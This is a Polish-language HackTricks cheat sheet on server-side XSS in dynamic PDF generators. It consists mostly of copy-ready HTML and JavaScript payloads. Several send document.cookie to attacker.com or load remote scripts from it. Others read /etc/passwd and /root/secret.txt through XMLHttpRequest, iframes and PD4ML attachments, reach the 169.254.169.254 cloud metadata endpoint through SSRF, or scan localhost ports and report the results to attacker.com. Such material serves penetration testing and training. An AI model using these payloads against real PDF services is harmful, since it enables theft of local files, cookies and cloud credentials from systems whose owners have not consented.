Server Side XSS (Dynamic PDF)

Reading time: 7 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Server Side XSS (Dynamic PDF)

Jeśli strona internetowa tworzy PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować oszukać bota, który tworzy PDF, aby wykonał dowolny kod JS.
Więc, jeśli bot tworzący PDF znajdzie jakiś rodzaj znaczników HTML, zacznie je interpretować, a ty możesz wykorzystać to zachowanie, aby spowodować Server XSS.

Zauważ, że znaczniki <script></script> nie zawsze działają, więc będziesz potrzebować innej metody do wykonania JS (na przykład, wykorzystując <img ).
Również, pamiętaj, że w regularnej eksploatacji będziesz mógł zobaczyć/pobrać utworzony pdf, więc będziesz mógł zobaczyć wszystko, co piszesz za pomocą JS (używając document.write() na przykład). Ale, jeśli nie możesz zobaczyć utworzonego PDF, prawdopodobnie będziesz musiał wyodrębnić informacje, wykonując zapytania webowe do siebie (Blind).

  • wkhtmltopdf jest znany ze swojej zdolności do konwertowania HTML i CSS na dokumenty PDF, wykorzystując silnik renderujący WebKit. To narzędzie jest dostępne jako open-source utility w wierszu poleceń, co czyni je dostępnym dla szerokiego zakresu zastosowań.
  • TCPDF oferuje solidne rozwiązanie w ekosystemie PHP do generacji PDF. Jest w stanie obsługiwać obrazy, grafikę i szyfrowanie, co pokazuje jego wszechstronność w tworzeniu złożonych dokumentów.
  • Dla tych, którzy pracują w środowisku Node.js, PDFKit stanowi realną opcję. Umożliwia generowanie dokumentów PDF bezpośrednio z HTML i CSS, zapewniając most między treściami webowymi a formatami do druku.
  • Programiści Java mogą preferować iText, bibliotekę, która nie tylko ułatwia tworzenie PDF, ale także wspiera zaawansowane funkcje, takie jak podpisy cyfrowe i wypełnianie formularzy. Jej kompleksowy zestaw funkcji sprawia, że jest odpowiednia do generowania bezpiecznych i interaktywnych dokumentów.
  • FPDF to kolejna biblioteka PHP, wyróżniająca się prostotą i łatwością użycia. Została zaprojektowana dla programistów szukających prostego podejścia do generacji PDF, bez potrzeby korzystania z rozbudowanych funkcji.

Payloads

Discovery

markup
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Każdy z poprzednich lub następujących ładunków może być użyty wewnątrz tego ładunku SVG. Jako przykłady podano jeden iframe uzyskujący dostęp do subdomeny Burpcollab i drugi uzyskujący dostęp do punktu końcowego metadanych.

markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Możesz znaleźć wiele innych ładunków SVG w https://github.com/allanlw/svg-cheatsheet

Ujawnienie ścieżki

markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Załaduj zewnętrzny skrypt

Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby zmusić bota do załadowania skryptu, który kontrolujesz lokalnie. W ten sposób będziesz mógł lokalnie zmieniać ładunek i sprawić, że bot załaduje go za każdym razem z tym samym kodem.

markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Odczyt lokalnego pliku / SSRF

warning

Zmień file:///etc/passwd na http://169.254.169.254/latest/user-data, aby spróbować uzyskać dostęp do zewnętrznej strony internetowej (SSRF).

Jeśli SSRF jest dozwolone, ale nie możesz dotrzeć do interesującej domeny lub IP, sprawdź tę stronę w poszukiwaniu potencjalnych obejść.

markup
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
markup
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
markup
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
markup
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Opóźnienie bota

markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Skanowanie portów

markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Ta podatność może być bardzo łatwo przekształcona w SSRF (ponieważ możesz sprawić, że skrypt załaduje zewnętrzne zasoby). Więc spróbuj to wykorzystać (przeczytać jakieś metadane?).

Attachments: PD4ML

Istnieją silniki HTML 2 PDF, które pozwalają na określenie załączników do PDF, takie jak PD4ML. Możesz nadużyć tej funkcji, aby dołączyć dowolny lokalny plik do PDF.
Aby otworzyć załącznik, otworzyłem plik w Firefoxie i dwukrotnie kliknąłem symbol spinacza aby zapisz załącznik jako nowy plik.
Przechwycenie odpowiedzi PDF za pomocą burp powinno również pokazać załącznik w czystym tekście wewnątrz PDF.

html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
<pd4ml:attachment
src="/etc/passwd"
description="attachment sample"
icon="Paperclip" />
</html>

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks